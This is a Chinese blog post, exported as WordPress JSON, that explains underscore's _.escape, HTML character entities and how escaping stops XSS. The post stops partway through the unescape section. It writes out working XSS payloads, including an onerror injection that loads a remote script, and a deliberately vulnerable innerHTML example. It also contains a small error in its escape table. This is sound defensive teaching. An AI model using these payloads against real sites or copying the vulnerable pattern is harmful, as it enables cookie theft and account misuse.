{"id":1364,"date":"2024-06-02T22:24:30","date_gmt":"2024-06-02T22:24:30","guid":{"rendered":""},"modified":"2024-06-05T03:09:46","modified_gmt":"2024-06-04T19:09:46","slug":"underscore-%e7%b3%bb%e5%88%97%e4%b9%8b%e5%ad%97%e7%ac%a6%e5%ae%9e%e4%bd%93%e4%b8%8e-_-escape","status":"publish","type":"post","link":"https:\/\/www.lccc.top\/?p=1364","title":{"rendered":"underscore \u7cfb\u5217\u4e4b\u5b57\u7b26\u5b9e\u4f53\u4e0e _.escape"},"content":{"rendered":"\n

\u524d\u8a00<\/h2>\n

underscore \u63d0\u4f9b\u4e86 _.escape<\/code> \u51fd\u6570\uff0c\u7528\u4e8e\u8f6c\u4e49 HTML \u5b57\u7b26\u4e32\uff0c\u66ff\u6362 &, <, >, “, ‘, \u548c ` \u5b57\u7b26\u4e3a\u5b57\u7b26\u5b9e\u4f53\u3002<\/p>\n

<\/p>\n
_<\/span>.<\/span>escape<\/span>(<\/span>'Curly, Larry & Moe'<\/span>)<\/span>;<\/span>\n=><\/span> \"Curly, Larry &amp; Moe\"<\/span><\/pre>\n<\/div>\n
underscore \u540c\u6837\u63d0\u4f9b\u4e86 _.unescape<\/code> \u51fd\u6570\uff0c\u529f\u80fd\u4e0e _.escape<\/code> \u76f8\u53cd\uff1a<\/p>\n
<\/p>\n
_<\/span>.<\/span>unescape<\/span>(<\/span>'Curly, Larry &amp; Moe'<\/span>)<\/span>;<\/span>\n=><\/span> \"Curly, Larry & Moe\"<\/span><\/pre>\n<\/div>\n
XSS \u653b\u51fb<\/h2>\n
\u53ef\u662f\u6211\u4eec\u4e3a\u4ec0\u4e48\u9700\u8981\u8f6c\u4e49 HTML \u5462\uff1f<\/p>\n
\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u4e00\u4e2a\u4e2a\u4eba\u4e2d\u5fc3\u9875\u7684\u5730\u5740\u4e3a\uff1awww.example.com\/user.html?name=kevin<\/code>\uff0c\u6211\u4eec\u5e0c\u671b\u4ece\u7f51\u5740\u4e2d\u53d6\u51fa\u7528\u6237\u7684\u540d\u79f0\uff0c\u7136\u540e\u5c06\u5176\u663e\u793a\u5728\u9875\u9762\u4e2d\uff0c\u4f7f\u7528 JavaScript\uff0c\u6211\u4eec\u53ef\u4ee5\u8fd9\u6837\u505a\uff1a<\/p>\n
<\/p>\n
\/**<\/span>\n * \u8be5\u51fd\u6570\u7528\u4e8e\u53d6\u51fa\u7f51\u5740\u53c2\u6570<\/span>\n *\/<\/span>\nfunction<\/span> getQueryString<\/span>(<\/span>name<\/span>)<\/span> {<\/span>\n    var<\/span> reg<\/span> =<\/span> new<\/span> RegExp<\/span>(<\/span>\"(^|&)\"<\/span> +<\/span> name<\/span> +<\/span> \"=([^&]*)(&|$)\"<\/span>)<\/span>;<\/span>\n    var<\/span> r<\/span> =<\/span> window<\/span>.<\/span>location<\/span>.<\/span>search<\/span>.<\/span>substr<\/span>(<\/span>1<\/span>)<\/span>.<\/span>match<\/span>(<\/span>reg<\/span>)<\/span>;<\/span>\n    if<\/span> (<\/span>r<\/span> !=<\/span> null<\/span>)<\/span> return<\/span> unescape<\/span>(<\/span>r<\/span>[<\/span>2<\/span>]<\/span>)<\/span>;<\/span>\n    return<\/span> null<\/span>;<\/span>\n}<\/span>\n\nvar<\/span> name<\/span> =<\/span> getQueryString<\/span>(<\/span>'name'<\/span>)<\/span>;<\/span>\ndocument<\/span>.<\/span>getElementById<\/span>(<\/span>\"username\"<\/span>)<\/span>.<\/span>innerHTML<\/span> =<\/span> name<\/span>;<\/span><\/pre>\n<\/div>\n
\u5982\u679c\u88ab\u4e00\u4e2a\u540c\u6837\u61c2\u6280\u672f\u7684\u4eba\u53d1\u73b0\u7684\u8bdd\uff0c\u90a3\u4e48\u4ed6\u53ef\u80fd\u4f1a\u52a8\u70b9\u201c\u574f\u5fc3\u601d\u201d\uff1a<\/p>\n
\u6bd4\u5982\u6211\u628a\u8fd9\u4e2a\u9875\u9762\u7684\u5730\u5740\u4fee\u6539\u4e3a\uff1awww.example.com\/user.html?name=<script>alert(1)<\/script><\/code>\u3002<\/p>\n
\u5c31\u76f8\u5f53\u4e8e:<\/p>\n
\n
document<\/span>.<\/span>getElementById<\/span>(<\/span>\"username\"<\/span>)<\/span>.<\/span>innerHTML<\/span> =<\/span> '<script>alert(1)<\/script>'<\/span>;<\/span><\/pre>\n<\/div>\n
\u4f1a\u6709\u4ec0\u4e48\u6548\u679c\u5462\uff1f<\/p>\n
\u7ed3\u679c\u662f\u4ec0\u4e48\u4e5f\u6ca1\u6709\u53d1\u751f\u2026\u2026<\/p>\n
\u8fd9\u662f\u56e0\u4e3a:<\/p>\n
\n
\u6839\u636e W3C \u89c4\u8303\uff0cscript \u6807\u7b7e\u4e2d\u6240\u6307\u7684\u811a\u672c\u4ec5\u5728\u6d4f\u89c8\u5668\u7b2c\u4e00\u6b21\u52a0\u8f7d\u9875\u9762\u65f6\u5bf9\u5176\u8fdb\u884c\u89e3\u6790\u5e76\u6267\u884c\u5176\u4e2d\u7684\u811a\u672c\u4ee3\u7801\uff0c\u6240\u4ee5\u901a\u8fc7 innerHTML \u65b9\u6cd5\u52a8\u6001\u63d2\u5165\u5230\u9875\u9762\u4e2d\u7684 script \u6807\u7b7e\u4e2d\u7684\u811a\u672c\u4ee3\u7801\u5728\u6240\u6709\u6d4f\u89c8\u5668\u4e2d\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u5747\u4e0d\u80fd\u88ab\u6267\u884c\u3002<\/p>\n<\/blockquote>\n
\u5343\u4e07\u4e0d\u8981\u4ee5\u4e3a\u8fd9\u6837\u5c31\u5b89\u5168\u4e86\u2026\u2026<\/p>\n
\u4f60\u628a\u5730\u5740\u6539\u6210 www.example.com\/user.html?name=<img src=@ onerror=alert(1)><\/code> \u7684\u8bdd\uff0c\u5c31\u76f8\u5f53\u4e8e\uff1a<\/p>\n
\n
document<\/span>.<\/span>getElementById<\/span>(<\/span>\"d1\"<\/span>)<\/span>.<\/span>innerHTML<\/span>=<\/span>\"<img src=@ onerror=alert(1)>\"<\/span><\/pre>\n<\/div>\n
\u6b64\u65f6\u7acb\u523b\u5c31\u5f39\u7a97\u4e86 1\u3002<\/p>\n
\u4e5f\u8bb8\u4f60\u4f1a\u60f3\uff0c\u4e0d\u5c31\u662f\u5f39\u7a97\u4e2a 1 \u5417\uff1f\u8fd8\u80fd\u600e\u4e48\u6837\uff1f\u80fd\u5199\u591a\u5c11\u4ee3\u7801\uff1f<\/p>\n
\u90a3\u6211\u628a\u5730\u5740\u6539\u6210 www.example.com\/user.html?name=<img src=@ onerror='var s=document.createElement(\"script\");s.src=\"https:\/\/mqyqingfeng.github.io\/demo\/js\/alert.js\";document.body.appendChild(s);' \/><\/code> \u5462\uff1f<\/p>\n
\u5c31\u76f8\u5f53\u4e8e\uff1a<\/p>\n
\n
document<\/span>.<\/span>getElementById<\/span>(<\/span>\"username\"<\/span>)<\/span>.<\/span>innerHTML<\/span> =<\/span> \"<img src=@ onerror='var s=document.createElement(\\\"script\\\");s.src=\\\"https:\/\/mqyqingfeng.github.io\/demo\/js\/alert.js\\\";document.body.appendChild(s);' \/>\"<\/span>;<\/span><\/pre>\n<\/div>\n
\u6574\u7406\u4e0b\u5176\u4e2d onerror \u7684\u4ee3\u7801\uff1a<\/p>\n
<\/p>\n
var<\/span> s<\/span> =<\/span> document<\/span>.<\/span>createElement<\/span>(<\/span>\"script\"<\/span>)<\/span>;<\/span>\ns<\/span>.<\/span>src<\/span> =<\/span> \"https:\/\/mqyqingfeng.github.io\/demo\/js\/alert.js\"<\/span>;<\/span>\ndocument<\/span>.<\/span>body<\/span>.<\/span>appendChild<\/span>(<\/span>s<\/span>)<\/span>;<\/span><\/pre>\n<\/div>\n
\u4ee3\u7801\u4e2d\u5f15\u5165\u4e86\u4e00\u4e2a\u7b2c\u4e09\u65b9\u7684\u811a\u672c\uff0c\u8fd9\u6837\u505a\u7684\u4e8b\u60c5\u5c31\u591a\u4e86\uff0c\u4ece\u53d6\u4f60\u7684 cookie\uff0c\u53d1\u9001\u5230\u9ed1\u5ba2\u81ea\u5df1\u7684\u670d\u52a1\u5668\uff0c\u5230\u76d1\u542c\u4f60\u7684\u8f93\u5165\uff0c\u5230\u53d1\u8d77 CSRF \u653b\u51fb\uff0c\u76f4\u63a5\u4ee5\u4f60\u7684\u8eab\u4efd\u8c03\u7528\u7f51\u7ad9\u7684\u5404\u79cd\u63a5\u53e3\u2026\u2026<\/p>\n
\u603b\u4e4b\uff0c\u5f88\u5371\u9669\u3002<\/p>\n
\u4e3a\u4e86\u9632\u6b62\u8fd9\u79cd\u60c5\u51b5\u7684\u53d1\u751f\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u7f51\u5740\u4e0a\u7684\u503c\u53d6\u5230\u540e\uff0c\u8fdb\u884c\u4e00\u4e2a\u7279\u6b8a\u5904\u7406\uff0c\u518d\u8d4b\u503c\u7ed9 DOM \u7684 innerHTML\u3002<\/p>\n
\u5b57\u7b26\u5b9e\u4f53<\/h2>\n
\u95ee\u9898\u662f\u600e\u4e48\u8fdb\u884c\u8f6c\u4e49\u5462\uff1f\u800c\u8fd9\u5c31\u8981\u8c08\u5230\u5b57\u7b26\u5b9e\u4f53\u7684\u6982\u5ff5\u4e86\u3002<\/p>\n
\u5728 HTML \u4e2d\uff0c\u67d0\u4e9b\u5b57\u7b26\u662f\u9884\u7559\u7684\u3002\u6bd4\u5982\u8bf4\u5728 HTML \u4e2d\u4e0d\u80fd\u4f7f\u7528\u5c0f\u4e8e\u53f7\uff08<\uff09\u548c\u5927\u4e8e\u53f7\uff08>\uff09\uff0c\u56e0\u4e3a\u6d4f\u89c8\u5668\u4f1a\u8bef\u8ba4\u4e3a\u5b83\u4eec\u662f\u6807\u7b7e\u3002<\/p>\n
\u5982\u679c\u5e0c\u671b\u6b63\u786e\u5730\u663e\u793a\u9884\u7559\u5b57\u7b26\uff0c\u6211\u4eec\u5fc5\u987b\u5728 HTML \u6e90\u4ee3\u7801\u4e2d\u4f7f\u7528\u5b57\u7b26\u5b9e\u4f53\uff08character entities\uff09\u3002<\/p>\n
\u5b57\u7b26\u5b9e\u4f53\u6709\u4e24\u79cd\u5f62\u5f0f\uff1a<\/p>\n
    \n
  1. &entity_name;<\/code><\/li>\n
  2. &#entity_number;<\/code>\u3002<\/li>\n<\/ol>\n
    \u6bd4\u5982\u8bf4\u6211\u4eec\u8981\u663e\u793a\u5c0f\u4e8e\u53f7\uff0c\u6211\u4eec\u53ef\u4ee5\u8fd9\u6837\u5199\uff1a&lt;<\/code> \u6216 &#60<\/code>;<\/p>\n
    \u503c\u5f97\u4e00\u63d0\u7684\u662f\uff0c\u4f7f\u7528\u5b9e\u4f53\u540d\u800c\u4e0d\u662f\u6570\u5b57\u7684\u597d\u5904\u662f\uff0c\u540d\u79f0\u6613\u4e8e\u8bb0\u5fc6\u3002\u4e0d\u8fc7\u574f\u5904\u662f\uff0c\u6d4f\u89c8\u5668\u4e5f\u8bb8\u5e76\u4e0d\u652f\u6301\u6240\u6709\u5b9e\u4f53\u540d\u79f0\uff08\u4f46\u662f\u5bf9\u5b9e\u4f53\u6570\u5b57\u7684\u652f\u6301\u5374\u5f88\u597d\uff09\u3002<\/p>\n
    \u4e5f\u8bb8\u4f60\u4f1a\u597d\u5947\uff0c\u4e3a\u4ec0\u4e48 <<\/code> \u7684\u5b57\u7b26\u5b9e\u4f53\u662f &#60<\/code> \u5462\uff1f\u8fd9\u662f\u600e\u4e48\u8fdb\u884c\u8ba1\u7b97\u7684\u5462\uff1f<\/p>\n
    \u5176\u5b9e\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u53d6\u5b57\u7b26\u7684 unicode \u503c\uff0c\u4ee5 &#<\/code> \u5f00\u5934\u63a5\u5341\u8fdb\u5236\u6570\u5b57 \u6216\u8005\u4ee5 &#x<\/code>\u5f00\u5934\u63a5\u5341\u516d\u8fdb\u5236\u6570\u5b57\u3002\u4e3e\u4e2a\u4f8b\u5b50\uff1a<\/p>\n
    <\/p>\n
    var<\/span> num<\/span> =<\/span> '<'<\/span>.<\/span>charCodeAt<\/span>(<\/span>0<\/span>)<\/span>;<\/span> \/\/ 60<\/span>\nnum<\/span>.<\/span>toString<\/span>(<\/span>10<\/span>)<\/span> \/\/ '60'<\/span>\nnum<\/span>.<\/span>toString<\/span>(<\/span>16<\/span>)<\/span> \/\/ '3c'<\/span><\/pre>\n<\/div>\n
    \u6211\u4eec\u53ef\u4ee5\u4ee5 &#60;<\/code> \u6216\u8005 &#x3c;<\/code> \u5728 HTML \u4e2d\u8868\u793a\u51fa <<\/code>\u3002<\/p>\n
    \u4e0d\u4fe1\u4f60\u53ef\u4ee5\u5199\u8fd9\u6837\u4e00\u6bb5 HTML\uff0c\u663e\u793a\u7684\u6548\u679c\u90fd\u662f <<\/code>\uff1a<\/p>\n
    <\/p>\n
    <<\/span>div<\/span>><\/span>&lt;<\/<\/span>div<\/span>><\/span>\n<<\/span>div<\/span>><\/span>&#60;<\/<\/span>div<\/span>><\/span>\n<<\/span>div<\/span>><\/span>&#x3c;<\/<\/span>div<\/span>><\/span><\/pre>\n<\/div>\n
    \u518d\u4e3e\u4e2a\u4f8b\u5b50\uff1a\u4ee5\u5b57\u7b26 ‘\u55b5’ \u4e3a\u4f8b\uff1a<\/p>\n
    <\/p>\n
    var<\/span> num<\/span> =<\/span> '\u55b5'<\/span>.<\/span>charCodeAt<\/span>(<\/span>0<\/span>)<\/span>;<\/span> \/\/ 21941<\/span>\nnum<\/span>.<\/span>toString<\/span>(<\/span>10<\/span>)<\/span> \/\/ '21941'<\/span>\nnum<\/span>.<\/span>toString<\/span>(<\/span>16<\/span>)<\/span> \/\/ '55b5'<\/span><\/pre>\n<\/div>\n
    \u5728 HTML \u4e2d\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u7528 &#21941;<\/code> \u6216\u8005 &#x55b5<\/code> \u8868\u793a\u55b5<\/code>\uff0c\u4e0d\u8fc7\u201c\u55b5\u201d\u5e76\u4e0d\u5177\u6709\u5b9e\u4f53\u540d\u3002<\/p>\n
    \u8f6c\u4e49<\/h2>\n
    \u6211\u4eec\u7684\u5e94\u5bf9\u65b9\u5f0f\u5c31\u662f\u5c06\u53d6\u5f97\u7684\u503c\u4e2d\u7684\u7279\u6b8a\u5b57\u7b26\u8f6c\u4e3a\u5b57\u7b26\u5b9e\u4f53\u3002<\/p>\n
    \u4e3e\u4e2a\u4f8b\u5b50\uff0c\u5f53\u9875\u9762\u5730\u5740\u662f www.example.com\/user.html?name=<strong>123<\/strong><\/code>\u65f6\uff0c\u6211\u4eec\u901a\u8fc7 getQueryString \u53d6\u5f97 name \u7684\u503c\uff1a<\/p>\n
    \n
    var<\/span> name<\/span> =<\/span> getQueryString<\/span>(<\/span>'name'<\/span>)<\/span>;<\/span> \/\/ <strong>123<\/strong><\/span><\/pre>\n<\/div>\n
    \u5982\u679c\u6211\u4eec\u76f4\u63a5\uff1a<\/p>\n
    \n
    document<\/span>.<\/span>getElementById<\/span>(<\/span>\"username\"<\/span>)<\/span>.<\/span>innerHTML<\/span> =<\/span> name<\/span>;<\/span><\/pre>\n<\/div>\n
    \u5982\u6211\u4eec\u6240\u77e5\uff0c\u4f7f\u7528 innerHTML \u4f1a\u89e3\u6790\u5185\u5bb9\u5b57\u7b26\u4e32\uff0c\u5e76\u4e14\u6539\u53d8\u5143\u7d20\u7684 HMTL \u5185\u5bb9\uff0c\u6700\u7ec8\uff0c\u4ece\u6837\u5f0f\u4e0a\uff0c\u6211\u4eec\u4f1a\u770b\u5230\u4e00\u4e2a\u52a0\u7c97\u7684 123\u3002<\/p>\n
    \u5982\u679c\u6211\u4eec\u8f6c\u4e49\uff0c\u5c06 <strong>123<\/strong><\/code> \u4e2d\u7684 <<\/code> \u548c ><\/code> \u8f6c\u4e3a\u5b9e\u4f53\u5b57\u7b26\uff0c\u5373 &lt;strong&gt;123&lt;\/strong&gt;<\/code>\uff0c\u6211\u4eec\u518d\u8bbe\u7f6e innerHTML\uff0c\u6d4f\u89c8\u5668\u5c31\u4e0d\u4f1a\u5c06\u5176\u89e3\u91ca\u4e3a\u6807\u7b7e\uff0c\u800c\u662f\u4e00\u6bb5\u5b57\u7b26\uff0c\u6700\u7ec8\u4f1a\u76f4\u63a5\u663e\u793a <strong>123<\/strong><\/code>\uff0c\u8fd9\u6837\u5c31\u907f\u514d\u4e86\u6f5c\u5728\u7684\u5371\u9669\u3002<\/p>\n
    \u601d\u8003<\/h2>\n
    \u90a3\u4e48\u95ee\u9898\u6765\u4e86\uff0c\u6211\u4eec\u5177\u4f53\u8981\u8f6c\u4e49\u54ea\u4e9b\u5b57\u7b26\u5462\uff1f<\/p>\n
    \u60f3\u60f3\u6211\u4eec\u4e4b\u6240\u4ee5\u8981\u8f6c\u4e49 <<\/code> \u548c ><\/code> \uff0c\u662f\u56e0\u4e3a\u6d4f\u89c8\u5668\u4f1a\u5c06\u5176\u8ba4\u4e3a\u662f\u4e00\u4e2a\u6807\u7b7e\u7684\u5f00\u59cb\u6216\u7ed3\u675f\uff0c\u6240\u4ee5\u8981\u8f6c\u4e49\u7684\u5b57\u7b26\u4e00\u5b9a\u662f\u6d4f\u89c8\u5668\u4f1a\u7279\u6b8a\u5bf9\u5f85\u7684\u5b57\u7b26\uff0c\u90a3\u8fd8\u6709\u4ec0\u4e48\u5b57\u7b26\u4f1a\u88ab\u7279\u6b8a\u5bf9\u5f85\u7684\u5462\uff1f(O_o)??<\/p>\n
    &<\/code> \u662f\u4e00\u4e2a\uff0c\u56e0\u4e3a\u6d4f\u89c8\u5668\u4f1a\u8ba4\u4e3a &<\/code> \u662f\u4e00\u4e2a\u5b57\u7b26\u5b9e\u4f53\u7684\u5f00\u59cb\uff0c\u5982\u679c\u4f60\u8f93\u5165\u4e86 &lt;<\/code>\uff0c\u6d4f\u89c8\u5668\u4f1a\u5c06\u5176\u89e3\u91ca\u4e3a <<\/code>\uff0c\u4f46\u662f\u5f53 &lt;<\/code> \u662f\u4f5c\u4e3a\u7528\u6237\u8f93\u5165\u7684\u503c\u65f6\uff0c\u5e94\u8be5\u4ec5\u4ec5\u662f\u663e\u793a\u7528\u6237\u8f93\u5165\u7684\u503c\uff0c\u800c\u4e0d\u662f\u5c06\u5176\u89e3\u91ca\u4e3a\u4e00\u4e2a <<\/code>\u3002<\/p>\n
    '<\/code> \u548c \"<\/code> \u4e5f\u8981\u6ce8\u610f\uff0c\u4e3e\u4e2a\u4f8b\u5b50\uff1a<\/p>\n
    \u670d\u52a1\u5668\u7aef\u6e32\u67d3\u7684\u4ee3\u7801\u4e3a\uff1a<\/p>\n
    <\/p>\n
    function<\/span> render<\/span> (<\/span>input<\/span>)<\/span> {<\/span>\n  return<\/span> '<input type=\"name\" value=\"'<\/span> +<\/span> input<\/span> +<\/span> '\">'<\/span>\n}<\/span><\/pre>\n<\/div>\n
    input \u7684\u503c\u5982\u679c\u76f4\u63a5\u6765\u81ea\u4e8e\u7528\u6237\u7684\u8f93\u5165\uff0c\u7528\u6237\u53ef\u4ee5\u8f93\u5165 \"> <script>alert(1)<\/script><\/code>\uff0c\u6700\u7ec8\u6e32\u67d3\u7684 HTML \u4ee3\u7801\u5c31\u53d8\u6210\u4e86\uff1a<\/p>\n
    \n
    <<\/span>input<\/span> type<\/span>=\"name<\/span>\" value<\/span>=\"\"><\/span> <<\/span>script<\/span>><\/span>alert<\/span>(<\/span>1<\/span>)<\/span><\/<\/span>script<\/span>><\/span>\"><\/span><\/pre>\n<\/div>\n
    \u7ed3\u679c\u53c8\u662f\u4e00\u6b21 XSS \u653b\u51fb\u2026\u2026<\/p>\n
    \u6700\u540e\u8fd8\u6709\u4e00\u4e2a\u662f\u53cd\u5f15\u53f7 `\uff0c\u5728 IE \u4f4e\u7248\u672c\u4e2d(\u2264 8)\uff0c\u53cd\u5f15\u53f7\u53ef\u4ee5\u7528\u4e8e\u5173\u95ed\u6807\u7b7e\uff1a<\/p>\n
    \n
    <img src=\"x` `<script>alert(1)<\/script>\"` `>\n<\/code><\/pre>\n<\/div>\n
    \u6240\u4ee5\u6211\u4eec\u6700\u7ec8\u786e\u5b9a\u7684\u8981\u8f6c\u4e49\u7684\u5b57\u7b26\u4e3a\uff1a&, <, >, “, ‘, \u548c `\u3002\u8f6c\u4e49\u5bf9\u5e94\u7684\u503c\u4e3a\uff1a<\/p>\n
    <\/p>\n
    & --> &amp;\n< --> &lt;\n> --> &gt;\n\" --> &quot;\n' --> &#x27;\n` --> &#60;\n<\/code><\/pre>\n<\/div>\n
    \u503c\u5f97\u6ce8\u610f\u7684\u662f\uff1a\u5355\u5f15\u53f7\u548c\u53cd\u5f15\u53f7\u4f7f\u7528\u662f\u5b9e\u4f53\u6570\u5b57\u3001\u800c\u5176\u4ed6\u4f7f\u7528\u7684\u662f\u5b9e\u4f53\u540d\u79f0\uff0c\u8fd9\u4e3b\u8981\u662f\u4ece\u517c\u5bb9\u6027\u7684\u89d2\u5ea6\u8003\u8651\u7684\uff0c\u6709\u7684\u6d4f\u89c8\u5668\u5e76\u4e0d\u80fd\u5f88\u597d\u7684\u652f\u6301\u5355\u5f15\u53f7\u548c\u53cd\u5f15\u53f7\u7684\u5b9e\u4f53\u540d\u79f0\u3002<\/p>\n
    _.escape<\/h2>\n
    \u90a3\u4e48\u5177\u4f53\u6211\u4eec\u8be5\u5982\u4f55\u5b9e\u73b0\u8f6c\u4e49\u5462\uff1f\u6211\u4eec\u76f4\u63a5\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u5b9e\u73b0\uff1a<\/p>\n
    <\/p>\n
    var<\/span> _<\/span> =<\/span> {<\/span>}<\/span>;<\/span>\n\nvar<\/span> escapeMap<\/span> =<\/span> {<\/span>\n    '&'<\/span>: '&amp;'<\/span>,<\/span>\n    '<'<\/span>: '&lt;'<\/span>,<\/span>\n    '>'<\/span>: '&gt;'<\/span>,<\/span>\n    '\"'<\/span>: '&quot;'<\/span>,<\/span>\n    \"'\"<\/span>: '&#x27;'<\/span>,<\/span>\n    '`'<\/span>: '&#x60;'<\/span>\n}<\/span>;<\/span>\n\n_<\/span>.<\/span>escape<\/span> =<\/span> function<\/span>(<\/span>string<\/span>)<\/span> {<\/span>\n    var<\/span> escaper<\/span> =<\/span> function<\/span>(<\/span>match<\/span>)<\/span> {<\/span>\n        return<\/span> escapeMap<\/span>[<\/span>match<\/span>]<\/span>;<\/span>\n    }<\/span>;<\/span>\n    \/\/ \u4f7f\u7528\u975e\u6355\u83b7\u6027\u5206\u7ec4<\/span>\n    var<\/span> source<\/span> =<\/span> '(?:'<\/span> +<\/span> Object<\/span>.<\/span>keys<\/span>(<\/span>escapeMap<\/span>)<\/span>.<\/span>join<\/span>(<\/span>'|'<\/span>)<\/span> +<\/span> ')'<\/span>;<\/span>\n    console<\/span>.<\/span>log<\/span>(<\/span>source<\/span>)<\/span> \/\/ (?:&|<|>|\"|'|`)<\/span>\n    var<\/span> testRegexp<\/span> =<\/span> RegExp<\/span>(<\/span>source<\/span>)<\/span>;<\/span>\n    var<\/span> replaceRegexp<\/span> =<\/span> RegExp<\/span>(<\/span>source<\/span>,<\/span> 'g'<\/span>)<\/span>;<\/span>\n\n    string<\/span> =<\/span> string<\/span> ==<\/span> null<\/span> ? ''<\/span> : ''<\/span> +<\/span> string<\/span>;<\/span>\n    return<\/span> testRegexp<\/span>.<\/span>test<\/span>(<\/span>string<\/span>)<\/span> ? string<\/span>.<\/span>replace<\/span>(<\/span>replaceRegexp<\/span>,<\/span> escaper<\/span>)<\/span> : string<\/span>;<\/span>\n}<\/span><\/pre>\n<\/div>\n
    \u5b9e\u73b0\u7684\u601d\u8def\u5f88\u7b80\u5355\uff0c\u6784\u9020\u4e00\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\uff0c\u5148\u5224\u65ad\u662f\u5426\u80fd\u5339\u914d\u5230\uff0c\u5982\u679c\u80fd\u5339\u914d\u5230\uff0c\u5c31\u6267\u884c replace\uff0c\u6839\u636e escapeMap \u5c06\u7279\u6b8a\u5b57\u7b26\u8fdb\u884c\u66ff\u6362\uff0c\u5982\u679c\u4e0d\u80fd\u5339\u914d\uff0c\u8bf4\u660e\u4e0d\u9700\u8981\u8f6c\u4e49\uff0c\u76f4\u63a5\u8fd4\u56de\u539f\u5b57\u7b26\u4e32\u3002<\/p>\n
    \u503c\u5f97\u4e00\u63d0\u7684\u662f\uff0c\u6211\u4eec\u5728\u4ee3\u7801\u4e2d\u6253\u5370\u4e86\u6784\u9020\u51fa\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u4e3a\uff1a<\/p>\n
    \n
    (?:&|<|>|\"|'|`)\n<\/code><\/pre>\n<\/div>\n
    \u5176\u4e2d\u7684 ?:<\/code> \u662f\u4e2a\u4ec0\u4e48\u610f\u601d\uff1f\u6ca1\u6709\u8fd9\u4e2a ?:<\/code> \u5c31\u4e0d\u53ef\u4ee5\u5339\u914d\u5417\uff1f\u6211\u4eec\u63a5\u7740\u5f80\u4e0b\u770b\u3002<\/p>\n
    \u975e\u6355\u83b7\u5206\u7ec4<\/h2>\n
    (?:pattern)<\/code> \u8868\u793a\u975e\u6355\u83b7\u5206\u7ec4\uff0c\u5373\u4f1a\u5339\u914d pattern \u4f46\u4e0d\u83b7\u53d6\u5339\u914d\u7ed3\u679c\uff0c\u4e0d\u8fdb\u884c\u5b58\u50a8\u4f9b\u4ee5\u540e\u4f7f\u7528\u3002<\/p>\n
    \u6211\u4eec\u6765\u770b\u4e2a\u4f8b\u5b50\uff1a<\/p>\n
    <\/p>\n
    function<\/span> replacer<\/span>(<\/span>match<\/span>,<\/span> p1<\/span>,<\/span> p2<\/span>,<\/span> p3<\/span>)<\/span> {<\/span>\n    \/\/ match\uff0c\u8868\u793a\u5339\u914d\u7684\u5b50\u4e32 abc12345#$*%<\/span>\n    \/\/ p1\uff0c\u7b2c 1 \u4e2a\u62ec\u53f7\u5339\u914d\u7684\u5b57\u7b26\u4e32 abc<\/span>\n    \/\/ p2\uff0c\u7b2c 2 \u4e2a\u62ec\u53f7\u5339\u914d\u7684\u5b57\u7b26\u4e32 12345<\/span>\n    \/\/ p3\uff0c\u7b2c 3 \u4e2a\u62ec\u53f7\u5339\u914d\u7684\u5b57\u7b26\u4e32 #$*%<\/span>\n    return<\/span> [<\/span>p1<\/span>,<\/span> p2<\/span>,<\/span> p3<\/span>]<\/span>.<\/span>join<\/span>(<\/span>' - '<\/span>)<\/span>;<\/span>\n}<\/span>\nvar<\/span> newString<\/span> =<\/span> 'abc12345#$*%'<\/span>.<\/span>replace<\/span>(<\/span>\/<\/span>([^\\d]*)(\\d*)([^\\w]*)\/<\/span><\/span>,<\/span> replacer<\/span>)<\/span>;<\/span> \/\/ abc - 12345 - #$*%<\/span><\/pre>\n<\/div>\n
    \u73b0\u5728\u6211\u4eec\u7ed9\u7b2c\u4e00\u4e2a\u62ec\u53f7\u4e2d\u7684\u8868\u8fbe\u5f0f\u52a0\u4e0a ?:<\/code>\uff0c\u8868\u793a\u7b2c\u4e00\u4e2a\u62ec\u53f7\u4e2d\u7684\u5185\u5bb9\u4e0d\u9700\u8981\u50a8\u5b58\u7ed3\u679c\uff1a<\/p>\n
    <\/p>\n
    function<\/span> replacer<\/span>(<\/span>match<\/span>,<\/span> p1<\/span>,<\/span> p2<\/span>)<\/span> {<\/span>\n    \/\/ match\uff0c\u8868\u793a\u5339\u914d\u7684\u5b50\u4e32 abc12345#$*%<\/span>\n    \/\/ p1\uff0c\u73b0\u5728\u5339\u914d\u7684\u662f\u5b57\u7b26\u4e32 12345<\/span>\n    \/\/ p1\uff0c\u73b0\u5728\u5339\u914d\u7684\u662f\u5b57\u7b26\u4e32 #$*%<\/span>\n    return<\/span> [<\/span>p1<\/span>,<\/span> p2<\/span>]<\/span>.<\/span>join<\/span>(<\/span>' - '<\/span>)<\/span>;<\/span>\n}<\/span>\nvar<\/span> newString<\/span> =<\/span> 'abc12345#$*%'<\/span>.<\/span>replace<\/span>(<\/span>\/<\/span>(?:[^\\d]*)(\\d*)([^\\w]*)\/<\/span><\/span>,<\/span> replacer<\/span>)<\/span>;<\/span> \/\/ 12345 - #$*%<\/span><\/pre>\n<\/div>\n
    \u5728 _.escape<\/code> \u51fd\u6570\u4e2d\uff0c\u5373\u4f7f\u4e0d\u4f7f\u7528 ?:<\/code> \u4e5f\u4e0d\u4f1a\u5f71\u54cd\u5339\u914d\u7ed3\u679c\uff0c\u53ea\u662f\u4f7f\u7528 ?:<\/code> \u6027\u80fd\u4f1a\u66f4\u9ad8\u4e00\u70b9\u3002<\/p>\n
    \u53cd\u8f6c\u4e49<\/h2>\n
    \u6211\u4eec\u4f7f\u7528\u4e86 _.escape<\/code> \u5c06\u6307\u5b9a\u5b57\u7b26\u8f6c\u4e3a\u5b57\u7b26\u5b9e\u4f53\uff0c\u6211\u4eec\u8fd8\u9700\u8981\u4e00\u4e2a\u65b9\u6cd5\u5c06\u5b57\u7b26\u5b9e\u4f53\u8f6c\u4e49\u56de\u6765\u3002<\/p>\n
    \u5199\u6cd5\u4e0e _.unescape<\/code> \u7c7b\u4f3c\uff1a<\/p>\n
    <\/p>\n
